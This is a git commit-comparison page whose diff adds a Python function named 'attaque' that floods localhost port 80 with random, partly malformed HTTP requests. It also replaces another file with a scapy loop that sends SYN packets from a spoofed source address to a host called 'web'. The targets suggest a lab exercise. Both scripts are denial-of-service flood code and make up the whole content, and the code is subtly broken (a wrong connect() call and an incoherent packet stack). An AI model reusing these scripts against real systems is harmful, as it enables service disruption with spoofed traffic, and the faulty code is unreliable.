Compare commits
No commits in common. "d416b9670c4f71a28d426eb96d66af93891d5c71" and "4202dc0e431cd593e5dc6cae2090bb8f9ff5470b" have entirely different histories.
d416b9670c
...
4202dc0e43
2 changed files with 29 additions and 21 deletions
23
client/app.py
Normal file
23
client/app.py
Normal file
|
@ -0,0 +1,23 @@
|
||||||
|
import socket
|
||||||
|
import random as r
|
||||||
|
|
||||||
|
L=[
|
||||||
|
"G3T / HTTP/1.1\r\nHøst: localhost\r\n\r\n",
|
||||||
|
"GET /index.html HTTP/1.1\r\nHost: localhost\r\n\r\n",
|
||||||
|
"GET /about.html HTTP/1.1\r\nHost: localhost\r\n\r\n"
|
||||||
|
]
|
||||||
|
|
||||||
|
adresse="localhost"
|
||||||
|
port=80
|
||||||
|
def attaque():
|
||||||
|
while True:
|
||||||
|
with socket.socket(family=socket.AF_INET, type=socket.SOCK_STREAM) as s:
|
||||||
|
s.connect(adresse,port)
|
||||||
|
s.send(L[r.randint(0,2)].encode())
|
||||||
|
|
||||||
|
'''
|
||||||
|
|
||||||
|
GET / HTTP/1.1
|
||||||
|
Host: example.com
|
||||||
|
|
||||||
|
'''
|
|
@ -1,23 +1,8 @@
|
||||||
import socket
|
from scapy.all import *
|
||||||
import random as r
|
|
||||||
|
|
||||||
L=[
|
while True:
|
||||||
"G3T / HTTP/1.1\r\nHøst: localhost\r\n\r\n",
|
for i in range(512,2048):
|
||||||
"GET /index.html HTTP/1.1\r\nHost: localhost\r\n\r\n",
|
pkt = IP(dst='web') / IP(src='192.168.1.69')/ TCP(dport=80,sport=i,flags='S') / ICMP()
|
||||||
"GET /about.html HTTP/1.1\r\nHost: localhost\r\n\r\n"
|
send(pkt, loop=1)
|
||||||
]
|
print("Sent packet")
|
||||||
|
|
||||||
adresse="localhost"
|
|
||||||
port=80
|
|
||||||
def attaque():
|
|
||||||
while True:
|
|
||||||
with socket.socket(family=socket.AF_INET, type=socket.SOCK_STREAM) as s:
|
|
||||||
s.connect(adresse,port)
|
|
||||||
s.send(L[r.randint(0,2)].encode())
|
|
||||||
|
|
||||||
'''
|
|
||||||
|
|
||||||
GET / HTTP/1.1
|
|
||||||
Host: example.com
|
|
||||||
|
|
||||||
'''
|
|
Loading…
Add table
Add a link
Reference in a new issue